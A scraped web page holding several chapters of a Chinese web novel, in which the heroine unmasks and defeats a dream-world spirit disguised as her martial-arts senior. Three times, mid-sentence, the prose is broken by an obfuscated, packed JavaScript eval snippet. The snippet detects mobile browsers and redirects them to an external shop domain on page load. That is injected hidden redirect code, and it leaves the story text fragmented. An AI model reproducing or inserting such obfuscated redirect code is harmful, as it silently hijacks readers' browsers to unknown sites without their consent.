$(''#content'').append('' 将多余的想法抛去,欲赶紧结束掌门无休止的盘问。 她接着解释:“一开始可能有赌的成分,可方才我在自己肩上发现了不应该有的纹身,我才更加肯定,细作就是曾师兄。” “哦?”顾恩派掌门意味深长地看着俞小澄,“怎么说?” 俞小澄平静地回答:“如果我没有猜错,方才曾师兄散播纹身线索时,不止拍了我的肩,所有肩上出现纹身的弟子,都与曾师兄有过接触。” 此话一出,被围在中央的弟子全都陷入震惊之中,片刻后,几乎每个人都承认与曾师兄接触过。 霎时间,大厅内所有目光齐聚曾师兄身上。 曾师兄爽朗一笑,毕恭毕敬冲顾恩派掌门拱手一拜,问:“师父怎么看?” 顾恩派掌门叹了口气,像是宣布答案一般说道:“我是该说你太自以为是,还是太过轻敌呢?你易容成我亲传弟子,难道觉得我能认不出吗?” “哈哈哈……” 一声桀骜不驯的笑自曾师兄口中传出,一改他往日憨厚、平易近人的形象,些许邪气在脸上若隐若现。 “啊?!曾师兄才是……” “不会吧……” “所以他说的线索是骗人的?” “他不是一直在帮助大家吗?怎么会!” 一阵沉默过后,表达着难以置信情绪的议论声在大厅内蔓延开来。 谁也不相信,看上去最善良正直的人才是混在羊群中的狼。 曾师兄眯眼笑着,摆动着食指,仿佛是对质疑者的回应,漫不经心地说:“我给的线索可不没骗人,入歧卬教者,皆于左肩留下黑色火焰印记。” 范正昂悄声问俞小澄:“不觉得有些怪吗?如果他说的是真话,为何他身上没有火焰纹身?” 俞小澄始终目不转睛地盯着曾师兄,提防着恶灵的下一步行动,心不在焉地低声回道:“不知道,也许,他是魔教教主,教主干嘛要在自己身上留下印记?大概只给门下教徒留下纹身,代表那些人是自己的所有物?” 范正昂觉得她说得在理。 就在二人说话时,整个大厅里骤然失去了原有的响声,伴随身体移动发出的布料摩擦声,交头接耳的议论声,甚至是灯烛燃烧的声响,全都消失无踪了。 当俞小澄意识到不对劲时,大厅里的一切都陷入了静止,除了俞小澄和范正昂,还有一脸笑意的曾师兄。 恶灵又发动了时间技能。 俞小澄紧张地后退一步,下意识地伸手将范正昂拉到了身后。 她可以让进宝附身,轻松解决恶灵,可对面是曾勇,她并不想选择这条绝路,而消灭恶灵的道具还没到手,她拿恶灵没辙。 “我们没有违反梦境规定,你不能对我们出手。” 俞小澄厉声警告。 “别紧张,这一回算你们赢了。”曾师兄脸上看不出一丝气恼与失望,相反,现在的结果仿佛是他梦寐以求的一样,“希望你们能再接再厉,通过我为你们精心准备的最后一场试炼。” 说完这句话后,曾师兄踱着步,穿过纹丝不动的人群,消失在俞小澄的视野中。 在他消失的瞬间,时间重新开始流逝,大厅中的人面对突然消失的细作,全都茫然不知所措。 206. 梦境(八) 四大门派掌门并没有因为细作的消失而沮丧,他们显然有属于他们自己的剧情线,仿佛老早就排练好的戏,如今只需要按部就班演出就好。 四大门派掌门宣布了最终获得本场比试胜利的人是俞小澄和范正昂,有也只有这二人在这场比试中获得了分数。 因此,俞小澄自然成为了全场最高分数获得者,赢得了优秀弟子美名。 最终顾恩派掌门也以获胜弟子人数优势,赢得了新一任武林盟主的称号。 明日,俞小澄便可获得战利品——前任武林盟主留下的绝世宝剑,并参与商讨围剿魔教的计划。 一切都像是一场儿戏,莫名其妙就宣布了俞小澄的胜利,恶灵甚至没有从中作梗,这让她感觉有些不安。 仿佛自己被恶灵牵着鼻子走,一不小心走进了恶灵设下的圈套。 在紧张不安中度过了一整夜,当晚她没有听见鼓声,几乎整夜未阖眼。 翌日,一切如常,也没有弟子再失踪,就好像恶灵突然对这间山庄失去了兴趣一样。 天一亮,顾恩派掌门叫人来唤俞小澄去他房间。 俞小澄跟范正昂简单交代一番,便独自去找顾恩派掌门。 掌门没有多余的寒暄,径直带她去了山庄中的密室,那里存放着俞小澄心心念念的道具。 跟在俞小澄身旁的招财比她更加兴奋,看到被供在石台之上的绝世宝剑时,眼里放着光,口水都快流出来了。 其实俞小澄觉得那剑看上去平平无奇,剑鞘上没有精致的装饰,实在看不出有何精妙之处。 顾恩派掌门小心翼翼取下宝剑,慎重地递到俞小澄手中,严肃地说道:“这把剑,名叫正义之剑,斩世间一切歪门邪道,我现在将它交给你,希望你可以用这把剑杀死魔教教主!” “哈?!” 前一秒还在为拿到道具而欣喜若狂,后一秒俞小澄就想拔剑先把眼前这老头捅了。 你要不听一听,你这说的是人话吗? 俞小澄心中疯狂呐喊,只觉这梦境中的NPC一个赛一个的不靠谱。 虽说恶灵她是一定会消灭的,可作为根本不知道她有消灭恶灵能力的NPC,哪儿来的脸叫她担负起消灭魔教教主的责任? “呵呵,我去杀魔教教主?那掌门你干嘛?喝茶打麻将吗?”俞小澄强忍着怒气,咬牙挤出一个刀人的笑。 顾恩派掌门根本不在意她说了什么,只管把自己的台词说完。 只见他捋了捋胡须,大义凛然地拍了拍俞小澄的肩,道:“放心,魔教的杂鱼,我会集四大门派之力,全部剿灭,你不必有后顾之忧!” 忧你妹啊,身为武林盟主你不该冲在最前面吗? 俞小澄只觉内心万马奔腾,差点想把顾恩派掌门的胡子全拔了。 不等俞小澄回应,顾恩派掌门又语重心长地对她说道:“只有剿灭魔教,杀死魔教教主,被掳走的弟子才能平安回来。” 俞小澄顿感无语,问:“呃……你确定他们不是死了吗?” 顾恩派掌门坚定地说:“我相信你!” 一直牛头不对马嘴,俞小澄懒得跟顾恩派掌门多废话,脸上堆着笑,连连称是,表示自己一定不辜负掌门期待。 敷衍地应付一番后,俞小澄赶紧逃离了密室。 拿着绝世宝剑回到弟子厢房的俞小澄,吸引了所有弟子羡慕的目光,对他们来说,那是荣耀的象征。 不少同门向她贺喜,俞小澄没空理睬,径直寻到了范正昂跟前。 二人避开NPC,找了个清静没人的房间,商量起接下来的打算。 俞小澄将那把平平无奇的剑随意往桌上一扔,疲惫地瘫坐在椅子上。 招财进宝跳上桌,围着宝剑打转,招财十分宝贝地抚摸着剑鞘。 “这就是……绝世宝剑?”范正昂微微挑起一边眉头,指着桌上的剑问。 任谁看来,这都是把毫无特色的剑。 俞小澄忍不住冷哼一声,内心实在不知道该如何吐槽这场梦境,懒洋洋地调侃道:“是啊,掌门还想让我拿着一柄破剑去杀擅长兵器为火铳的魔教教主。” 范正昂想了想,说:“这就是恶灵安排的最后一场游戏?” 俞小澄也只能这么想,不过如果换成旁人,她真怀疑这剑能不能杀得了恶灵。 而且,曾勇为什么要安排这个环节呢? 心中思绪万千,还从未有一场梦境令她迷惑至此。 招财并没有俞小澄这么多复杂的情绪,他此刻满心满眼只有桌上的宝剑,蹲在桌上不停用手抚摸着自己眼中的宝贝,并用小狗一般期待地眼神询问着俞小澄: “姐姐,我可以拿了吗?可以拿了吗?” 俞小澄散漫地站起身,拿起那把剑,心血来潮想拔剑摆个武林大侠帅气的姿势,不料卡在了第一步。 那剑身就像锈死在了剑鞘中一样,无论俞小澄如何使劲,都无法拔剑出鞘。 范正昂发觉俞小澄的窘迫,便热心地上前帮忙。 结果和俞小澄没有两样,剑身死活不离开剑鞘。 “这……”范正昂与那把剑斗了半晌,累得额头细汗密布,微微喘着粗气,不解地念叨,“不能出鞘的剑,当真杀得了恶灵?” 俞小澄制止范正昂再尝试,从他手中拿回宝剑,转身便递给了招财,嘴里轻声回道:“能,只是我们做不到。” 招财激动地接过宝剑,只见那把宝剑瞬间缩小,变成了与招财比例适当的大小,被他拿在手里挥来挥去,十分顺手。 招财爱不释手地把玩着宝剑,眼睛根本移不开,但嘴里不忘向俞小澄解释:“嘻嘻,招财的道具只有招财能使,等明天让姐姐见识一下正义之剑的威力!” 俞小澄并不怀疑,只是读不懂曾勇的思维模式。 此时房间中的范正昂正一脸震惊,因为在他眼中,俞小澄手里的剑凭空消失了,他也听不见招财的话,只道是消灭恶灵的道具没了,一连在房中转了好几圈,蹲在地上寻找着宝剑的踪迹。 俞小澄用指节轻轻敲了两下桌子,引起范正昂的注意,然后轻描淡写说道:“别找了,我把道具交给了能使用的人,你看不见的,那是我的守护神。” 范正昂一直知道俞小澄有种他人没有的异能,能轻松杀死梦境中的恶灵,而且每次动手时,她都好像换了个人格。 至于其中细节,范正昂并不清楚,也从未问过,因为他觉得就算自己问了,以俞小澄如今冷淡的性子,大概率不会回答,所以他也不愿意自讨没趣。 今日倒是有些特别,俞小澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099532|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动跟他提起,他心中甚喜,过多的细节他没有追问,既然俞小澄不担心,他也便将担忧放下了。 “对了,明日我一个人去找恶灵,你……”俞小澄停顿片刻,思索着范正昂的去处。 范正昂说:“我明天跟着其他门派弟子,既然是最终试炼,按照规则肯定不能逃避。” 俞小澄点点头,这正是她所纠结的。 她本想让范正昂找个地方藏起来,可一想到梦境规则,她又觉得那会将范正昂往火坑里推,所以才犹豫着没有说出口。 “行吧,你跟着人群走,别我还没见到恶灵,你就被火铳打死了。”俞小澄看似讥讽的话中,藏着一丝难得的关心。 她实在怀疑这些用刀剑等冷兵器的武林人士,是否真的能打过用火铳的人。 范正昂的想法与她差不多,也觉得这帮武林人士绝无胜算,只好厚着脸皮对俞小澄说:“还请俞小姐早些收拾掉恶灵,否则我真怕自己撑不到梦境结束。” “难道不是必输局吗?”俞小澄忍不住念叨。 范正昂也是一脸迷惑,道:“如果四大门派是必输,那是不是意味着,如果玩家最终没叛逃到魔教阵营,玩家将必死无疑呢?” 俞小澄说:“可那样岂不是与梦境规则相违背了?” 范正昂耸了耸肩,说:“恶灵的阵营都是魔教,他总不可能故意让自己输吧?” 的确太奇怪了,恶灵的行为,与他所创造的梦境规则完全不合,这让整场梦境开始往诡异的方向发展了。 而且,明天又会有什么样的陷阱在等着他们呢? 俞小澄不禁陷入了迷惘之中。 这一天,四大门派开始了积极的备战,演得像模像样。 掌门开会商讨了进攻策略,然后将各门派弟子分成了许多小队,明日会按照计划,完成自己的任务,意图彻底拿下岐卬教。 只有俞小澄被单独分在了一组,仅她一人,任务就是在其他弟子杀出一条血路后,俞小澄独自一人带正义之剑去寻找魔教教主。 他们还“贴心”地将俞小澄的行动任务命名为“正义斩首”。 然后,他们平安地度过了第四天,什么怪事都没有发生。曾勇这个恶灵实在与众不同,感觉一点恶灵的自觉都没有,好像没有攻击人的欲望,实在有些太过顺其自然了。 昨日一夜未合眼,这天晚上俞小澄实在困得不行了,几乎是倒头就睡,再也顾不上担心恶灵会不会在夜里耍花招了。 这一觉一直睡到了午夜时分,俞小澄迷迷糊糊感觉有人在叫自己,陡然从熟睡中惊醒。 此时夜还很深,同房的女弟子都在睡梦中,偶尔会听见某人嘴里发出一声意义不明的呓语,俞小澄估计自己是被这呓语声吵醒了,大脑错以为是在叫自己。 正要躺下继续睡觉时,余光瞥见窗纸上一道微弱的亮光一闪而过。 “今夜还真有行动?”俞小澄心中暗道。 黑灯瞎火的,她心中有些害怕,于是拍了拍睡在身侧的招财,奈何招财只管抱着他的宝剑,一边抹着口水,一边做着美梦,根本叫不醒。 俞小澄扫了一眼另一边的进宝,感觉对方比自己还胆小,果断放弃了。 于是俞小澄独自一人走出了房间,向着微光出现的方向寻去。 207. 梦境(八) 屋外漆黑一片,所以那微弱的亮光也显得非常明显。 就好像有人提着一盏快要熄灭的灯笼,在空无一人的山庄里游荡,俞小澄放轻脚步,一直不远不近地跟随那团亮光移动。 在那微光的指引下,俞小澄一路走出了山庄,来到了溪边的凉亭。 就在这时,那微光骤然熄灭了,仿佛一阵风吹过,彻底吹灭了一盏本就脆弱不堪的灯烛。 这边的光熄灭了,可凉亭石桌上笼罩着一小片朦胧的光,瞬间吸引了俞小澄的视线。 “又来了……” 俞小澄嘴里小声嘀咕,心中对于石桌上的东西已经有了预期。 她已经在十多场梦境中见过这熟悉的一幕了,仿佛脱敏了一般,内心无甚波动。 她轻轻叹了一口气,像见一位并不喜欢的老熟人似的,拖着沉重的步伐,挪到了凉亭中,倚坐在美人靠上,冷眼看向桌上的信函。 那是一个老旧的土黄色信封,纸面皱皱巴巴,还被水渍浸染,模糊了信封上的字迹。 “你还真是阴魂不散!” 俞小澄早已没有初见时那般惊慌失措,于数不清的梦境中与它碰面,渐渐让她从恐惧演变为漠然。 只要她不碰,那东西似乎就与她无关。 这东西好像缠上了她,每场梦境都会出现在她面前,仿佛召唤着她靠近,伸出手来触碰那遗失已久的记忆。 自从不再惧怕后,她便像今晚这般,悠哉地坐到它旁边,与它聊聊天。 与其说是聊天,不如说是自言自语,毕竟一封信件又怎会给她回应呢? 前台客服曾说过,所有人的记忆碎片都是随机出现在梦境中,能遇上属于自己的记忆碎片概率其实很低。 偏偏俞小澄不同,她的记忆碎片就跟夏天夜里的蚊虫一样常见,还总追着她不放。 “该说是我运气太好,还是太坏呢?” 俞小澄的手指在木质栏杆上有一下没有下地轻叩着,那嘚嘚的响声伴随着溪流声,为这个寂静的夜晚,增添了些许不同的气氛。 “你不会是旅店管理者特意安排到我面前的吧?” 虽然每一句问话都没有回应,可俞小澄已经习惯了这种无需回答的提问。 “现在少了吴樊祐在我耳边唠叨离开旅店,又换你来提醒我了吗?” 俞小澄说着苦涩一笑,对于离开身边的人,她很少会刻意去遗忘,像白羽楠和曾勇,她时刻记着,并期待有机会再见上一面。 也有像张尧那样的,彻底被她抹除了痕迹,她也没有刻意去回避。 大概只有吴樊祐,也不是刻意,只是尽量不去想起。 尽力不让自己陷于无休止的悔恨里。 可她心里清楚,自己心中已经只剩下对旅店的怒意了,否则,她也不可能轻易能让进宝附身。 如今的她,仿佛是一台机器,以仇恨作为燃料,行着没有终点的杀戮之事。 活在旅店里的唯一希望就是救白羽楠和曾勇离开这个鬼地方,希望可以借此打破她自己对旅店住客,包括她自己,所下的判断。 “我还没有变成恶灵的打算,你不用每晚都来找我吧……” “如果你是管理者对付我的手段,那你可以转告他,别来找我麻烦!” “他这么想清除我,昨晚又为何要帮我呢?” “还是说,不能让我死在梦境外?” “职业操守?但也没见他对其他住客手下留情啊……” “或者说,管理者认识我吗?” 俞小澄对着一封信喋喋不休,即便她清楚,就算问了也问不出所以然。 “明天这场梦境也将结束了,我一定会送勇哥离开旅店。” “勇哥与以前的恶灵都不一样,我有强烈的感觉,他不应该留在这里,或许是旅店错了呢?” “你且看着吧,一定能成功的。” “不过,就算成功了,也不代表我需要你!” “呵呵,我干嘛要离开旅店?那个世界早就没有等我的人,也没有值得我留恋的人了。” “嗯?你说如果勇哥和小白全都回到那个世界吗?那到时候我再想想吧……” 就这么自言自语了半宿,俞小澄才挥手向那封信函道别,悠然地返回了山庄,然后期待着明日最后一场大战。 次日,天还没亮,四大掌门便将所有弟子召集到山庄外,齐齐向着岐卬教所在进发。 当俞小澄看着真枪实弹的“冰与火的碰撞”后,人都傻了,她简直佩服曾勇能编出这样一个鬼故事。 最关键,拿着火铳的魔教弟子被拿着刀剑棍鞭的门派弟子打得节节败退,俞小澄霎时间有种在看某些神剧的感觉。 在战火纷飞中,俞小澄与范正昂相视苦笑。 范正昂指着形势一片大好的战局,感叹道:“呃,梦境规则还真不骗人,原来邪不胜正这么具体啊……拿火器都拼不过冷兵器……武侠片诚不欺我。” 俞小澄已经无力吐槽了,在四大掌门的催促下,沿着门派弟子杀出的血路,径直前往魔教教主所在的正殿。 路上没有出现任何一人阻拦,顺利得有些不像话。 俞小澄感觉自己误入了某个片场,并按照拟定好的剧本在进行着剧情演出。 这让她困惑不已。 有恶灵从一开始就预定了自己的失败吗? 怎么会有如此奇怪的设定? 怀着无数的疑问,俞小澄淡然地走进了正殿。 正殿中异常冷清,她刚踏进正殿大门,身后的大门便自动关闭,仿佛隔绝出另一个空间,而这个空间中只有俞小澄和两个长得一模一样的人。 其中一人被五花大绑扔在地上,另一个人正负手而立,笑眯眯地看着俞小澄走进大厅。 这两个人,都顶着曾勇的脸,让人恍惚间以为眼花出现了幻觉。 “你终于来了,欢迎来到我的世界。”魔教教主张开双手,眼含笑意,一脸兴奋地迎接着来访之人。 “什么情况,怎么会有两个勇哥?”俞小澄小声念叨,怀疑的视线不停在被绑的曾师兄和一脸得意的魔教教主之间来回打量。 魔教教主指着地上的人,大方地对俞小澄说道:“现在,我们来玩最后一场游戏,决定权在你。要么杀了你的好师兄,归顺我岐卬教;要么杀了我这个无恶不作的大魔头,还江湖太平。” 这算是什么鬼游戏? 俞小澄一瞬间想到了校园怪谈梦境,当初是她让恶灵做选择,没想到风水轮流转,如今轮到她来决定这场梦境的结局。 一股浓浓的阴谋感油然而生。 “不对劲,他俩谁是恶灵? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111977|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”俞小澄心中暗道。 招财进宝早已飞到那两个一模一样的人面前,一直绕着两人打转,试图看出两人的区别。 招财一脸困惑地挠着头,苦恼道:“这两个人好像都是曾勇啊……” 进宝一脸天真,歪着头,问:“一场梦境中可能存在两只恶灵吗?” 这下可难倒俞小澄了。 俞小澄不需要考虑魔教教主给出的选择题,因为她只有一个选项,那就是用招财的道具杀死造梦者,结束这场梦境,然后给恶灵提供离开旅店的机会。 可现在的问题是,她不得不先区分这两个人中,哪一个是真正的恶灵。 俞小澄在纠结中望向魔教教主,问:“杀死你,和杀死曾师兄,对我有什么好处?就算要我选阵营,也该给出吸引人的条件吧?” 魔教教主弯曲食指,轻敲着额角,一副思索的模样,然后妥协一般道:“你说的有道理!如果你继续选择正派,杀掉我,则你和你的朋友都可以存活;如果你选择跳反,杀掉曾师兄,则你会死。” 魔教教主说话的表情异常认真,丝毫没有开玩笑的成分,可在俞小澄听来,简直跟喝了假酒一样。 “不是,你这给出的条件,正常人会选择跳反吗?你脑子是不是有病!” 俞小澄实在忍不住,张嘴就狂喷一通,要不是顾及对方是曾勇,她简直想把他塞进麻袋里,暴揍一顿。 魔教教主非但不气,还乐呵呵地傻笑起来,语气轻松地说:“我只是将结果如实告诉你,要如何选择,随你!” 俞小澄从来没见过当恶灵当成这副佛系模样的人,属实有些摸不着头脑。 曾师兄在地上挣扎着坐起身,一脸严肃地冲俞小澄喊道:“小师妹,别听这妖人胡言乱语,他不过是想蛊惑人心,赶紧杀了他,替武林铲除祸患。” 俞小澄不慌不忙地找了张椅子,拖到两人面前,若有所思地坐下,摆出一副准备开始审问犯人的姿态。 “曾师兄,你是何时被抓到魔教来的啊?这魔教教主怎么会跟你长得一模一样呢?”俞小澄好奇地眨着眼,脸上写满了求知欲。 曾师兄一愣,反问:“小师妹,这样危机的时刻,你还有闲心问这些吗?外面打得这么激烈,你不担心同门安危吗?” 俞小澄抬手在面前扇了扇风,一脸认真地回道:“曾师兄不必担心,我看门外局势,我方大优,多打会儿,我估计魔教就要被灭了,师兄还是多关心关心自己吧,万一我选择杀你呢?” 曾师兄的嘴角几不可察地抽动了一下,说:“应该没有人会傻到杀我吧?” “就是啊,怎么会有人傻到想自己送死呢?” 俞小澄说这句话时,目光从曾师兄脸上转移到了魔教教主脸上。 魔教教主笑道:“当然没有人这么傻,我只是想看看你能做出什么选择罢了,至于能不能杀得了我,那是后话。” 俞小澄没理会站着的家伙,回过头来,继续对曾师兄说道:“所以,你也别管我死不死,只需要回答我的问题。” “嗯……五天前我就被绑到魔教来了,这家伙易容成了我的模样,混入山庄,试图欺骗你们。”曾师兄总算顺从地回答了俞小澄的问题。 俞小澄又抬眼望向魔教教主,轻描淡写地说出了自己的诉求:“你能把妆卸了吗?” 208. 梦境(八) 俞小澄的话让殿中的人全都沉默了,场内气氛格外诡异,没有争锋相对,没有剑拔弩张,甚至还没有殿外那一边倒的局势紧张。 魔教教主一脸错愕地盯着俞小澄,沉默许久才回过神,苦笑道:“你好像没有搞清楚情况,这里不是菜市场,任由你讨价还价,你只需要做出你的选择就好,至于我的真实模样,好像跟这场游戏没有关系……” 俞小澄未等他说完,便打断道:“夜里被掳走的弟子,可还活着?” 魔教教主再次被打乱了节奏,丧着一张脸,有些不乐意地回道:“你们若击败魔教,被掳走的人自然还有救。” “击败魔教?”俞小澄诧异地重复了一遍。 魔教教主点头道:“没错,有什么问题?” 俞小澄微微勾起嘴角,浅浅一笑,说:“没问题,那一同被掳走的玩家呢?” 魔教教主往后甩了甩衣袖,一脸高傲地讥笑道:“呵,你不会还指望违反了规则的玩家能活到大结局吧?” “嚯……”俞小澄眯着眼睛望着魔教教主,心中豁然开朗。 思索片刻后,俞小澄扶着椅子站起身,缓缓地走到曾师兄面前,蹲下身,抱着腿,轻声问道:“曾师兄,可还记得我在山庄里问你,这世间你觉得最重要的是什么?” 曾师兄一脸茫然地抬起头,对上俞小澄质问的目光,慌张回道:“小师妹,你搞错了,你在山庄里问的人是那魔头,不是我……” 俞小澄并不关心曾师兄的回话,她自顾自地继续说道:“你告诉我八个字,邪不胜正,善恶有报。” 曾师兄一脸无奈地叹道:“哎,虽然可能像我说话的风格,但真不是我说的。” “我知道。”俞小澄十分肯定地回答,眼神中透着一丝意味深长的笑。 “知道你还问我……”曾师兄语气中满是无奈,“我们能不能别聊天了,赶紧将魔头拿下要紧。” 俞小澄丝毫不急,慢悠悠地说道:“正因为知道,所以我也明白自己应该如何选择了。” 魔教教主盯着蹲在地上的俞小澄,嘴角挤出一个意义不明的笑,问:“哦?你打算如何?” 俞小澄心中终于有了决断,一边仰起头,睨视着那个等待自己给出答案的人,一边高高举起了右手。 就在两人疑惑的注视下,俞小澄缓缓将手搭上了曾师兄的肩。 “你要杀曾师兄?”魔教教主的面色忽然一沉。 “呵呵,怎么会呢?他不是对你来说最重要的人吗?记忆之门的钥匙。” 俞小澄的话音未落,被她搭肩的人浑身僵硬,再没有说出一个字,皮肤逐渐石化,不过片刻,整个人便化作了一个石头人。 渐渐地石头碎裂,化作无数土砾,被风卷起,逃离了俞小澄的手掌心,风卷着土砾在殿内画着圈,描绘出了风行动的轨迹。 最终以殿中央为终点,停止了这场短暂的旅行,土砾最终聚到一起,形成了一扇石门。 魔教教主扬起嘴角,为俞小澄而鼓掌,仿佛在向她的胜利而道喜。 “你怎么知道他是记忆之门的钥匙?”他饶有兴致地问道。 他的反应并没有其他恶灵那般激进,仿佛对于记忆之门钥匙被玩家找到根本就不在意。 俞小澄平静地回答:“因为那句话是你对我说的啊!曾师兄不也证明了吗?” “所以呢?”魔教教主面露疑色。 “偏偏那句话,是主导整场梦境的规则,所以你们之中,你才是造梦者。” 俞小澄不紧不慢地站起身,毫不胆怯地直视着恶灵的眼睛。 魔教教主:“有点意思,仅凭这一点你就确定了我的身份?” 俞小澄:“不,还要多亏你贴心的回答。” 魔教教主愈发不解,一时想不出自己说的什么话,给了俞小澄暗示。 俞小澄伸出两根手指,耐心解释:“其一,你称岐卬教为魔教;其二,你知道玩家已死。” 的确是魔教教主的话提醒了俞小澄,否则她还没有那么快认清他们两人中谁会是真的恶灵。 对于玩家的认知,就跟对记忆之门的认知一样,不是梦境中的NPC应该有的。 所以在问答全程,俞小澄没有从曾师兄的话中听到这类内容,而曾师兄的行为模式完全是一种NPC特有的状态。 俞小澄曾经也不明白,为何魔教教主与曾师兄始终维持着相同的相貌,就算是易容,已经出了山庄,回到魔教,身为教主的他还为何不卸下伪装。 直到她想起了扮作曾师兄的魔教教主回答自己的那句话,那句决定了梦境规则的话——邪不胜正,善恶有报。 如果说,魔教教主才是真正的恶灵,那么也就意味着,他才是真正的曾勇。 那么曾师兄呢? 那是符合他理念的美好形象,受众人敬仰,正直而充满善意,或许正是他认为最重要的存在,是他希望保持的模样。 而他一开始就将自己设定为了反派角色,并定下了邪不胜正的规则,连最终游戏的选项都是杀死自己便可以获胜。 这便是曾勇,那个俞小澄觉得比谁都正派的住客。 当她想通这一点时,她感觉这场梦境变得没那么荒诞了。 “如果最终玩家选择跳反,不仅会失去逃离旅店的机会,还会因为违反规则而被你杀死,你一开始就设定好了,邪不胜正,善恶有报,对吧,曾勇?” 俞小澄一字一句说道,心中感慨万千,她始终想不通,这样坚持善良与正义的人,为何会被困在旅店,沦为恶灵呢? 他大概是所有住客中,除了白羽楠,最有可能逃出旅店的那一个,她一直这么认为。 直到一次次的打脸,让她彻底丧失了这份信心。 可进入这场梦境后,一切不同寻常的荒诞都让她重拾这种看法。 面对俞小澄的质问,曾勇没有给予正面的回应,而是一脸疑惑地望着俞小澄,神情中流露出些许说不清道不明的情绪,然后平淡地问了一句:“我们是不是曾经见过?” 那些被旅店抹去的记忆,或许还藏在某个尘封的角落里,就像张尧会在梦境中给予她原本不应该存在的善意,曾勇亦是如此。 一股莫名的心酸在心里激荡开来,仿佛孤寂了许久,突然有朋友造访,于是积压许久的愁绪,便在此刻想要倾诉出去。 “嗯,见过。”俞小澄忍着欲夺眶而出的眼泪,点了点头,轻声哼出了一句回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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招财挥了挥手,正义之剑逐渐在他手中现了形。 曾勇看着宝剑先是一愣,随后捧腹笑道:“你现在才试这把剑,会不会有点晚了?如果你确定想要杀我,我可以宣布你的胜利,让你们离开梦境……” 就在曾勇的嘲笑声中,招财从剑鞘中一点点拔出了剑身。 俞小澄在朦胧的滤镜下,看见一柄光剑出鞘,那夺目的光仿佛昭示着正义二字。 前有火铳,后有光剑,一切的荒诞在这一刻仿佛又变得合情合理,俞小澄哑然失笑,冷着一颗心,对招财下达了消灭恶灵的指令。 当光剑刺穿曾勇的身体时,曾勇没有挣扎,也没有半点不甘,好像寻得了解脱一般,露出释然的笑。 光剑的光在恶灵体内蔓延,曾勇的皮肤在光线的冲击下出现了裂纹,那些光线仿佛要破土而出一般。 曾勇的声音断断续续地传进俞小澄耳朵里。 “无论多少次……我都不会……改变自己的选择……” 这句话让俞小澄的心莫名凉了半截,想要再多问已经来不及了,她眼睁睁看着曾勇的身体化成了齑粉,整个世界也随之碎裂,最终被刺眼的白光吞噬了。 209. 谜题 没有曾勇的记忆,俞小澄无从判断他究竟为何被判定为恶,又为何没能通过验证,沦为恶灵。 这场梦境虽癫狂,可贯彻了曾勇的理念,虽然他的善恶太过绝对,但俞小澄觉得,这样的人,并不能简单地认定为恶。 因此,她愿意相信,只要再给曾勇一次机会,他一定可以离开旅店。 她如此相信,也期望结果值得她相信。 从睡梦中醒来,空荡荡的房间中依然只有她一人,这一次的梦境持续了五日,旅店的时间也前进了将近五小时。 再过一两个小时,天都要亮了,俞小澄也无心再睡,靠在床头发着呆。 从衣兜里拿出招财进宝的陶瓷娃娃,只见招财的腰间又多了一把佩剑。 “能成功的吧?”俞小澄对着陶瓷娃娃自言自语。 已经在太多个夜晚醒来,身旁却没有一人可以谈天,她渐渐习惯了自言自语。 如今整间旅店又只剩两位住客了,对俞小澄而言,无甚改变,大概范正昂会有些不习惯。 他花了半个月辛辛苦苦建立起的新秩序,一夜之间全都覆灭,他不得不重新开始发展建立他的王国,寻找可以与他在这个没有休止的世界共同进退的伙伴。 在俞小澄看来,这样的王国随时都可能付之一炬,只要旅店管理者哪天心血来潮,又将房型全部调换为幽兰或寒梅,大量的死亡只在转瞬之间。 不过,她不想也懒得去规劝一个与自己想法不同的人,就像范正昂说服不了她的想法一样,她们俩各有各的生存目的。 范正昂为了活着,俞小澄为了寻找。 一旦有了期待,时间就会莫名变得很慢,俞小澄好不容易熬到天亮,然后简单收拾一下便走出了房间。 出门的第一件事,不是去吃早饭,俞小澄想起昨夜离开房间的三人组。 因为曾勇的出现,她险些都快忘了,睡觉前,还拿了三人做实验。 这会儿想起来,俞小澄打发时间似的,带着好奇心,前往了休息活动区,看了一眼吸烟室。 三楼格外安静,没有一点人气,还未靠近吸烟室,俞小澄便已经预料到了结果。 透过吸烟室的小窗口朝里看,只见里面空无一人。 蔡德和他的两个小弟仿佛人间蒸发了一般,没有留下丝毫痕迹。 “果然只是针对我吗?”俞小澄推开吸烟室的门,看着空荡的房间若有所思。 忽然身后有一只手搭在了俞小澄的肩上,吓得她浑身一抖,扭头便看见范正昂一脸抱歉的表情。 范正昂为吓到俞小澄道了歉,然后话锋一转,问:“蔡德他们不在里面了吗?” 俞小澄点了点头,说:“嗯,旅店的规则绝对不能违背。” “可是你……”范正昂的脸上写着不理解。 俞小澄此前并没有将吸烟室能安全进入雏菊梦境的缘由告诉范正昂,只因她也不确定是管理者有意为之,还是只要有人进入吸烟室,管理者都会无条件地提供帮助。 正因着这层原因,她才拿蔡德三人做实验,看看是否存在她不知晓的隐藏规则。 最终结果与前台客服说的没什么区别。 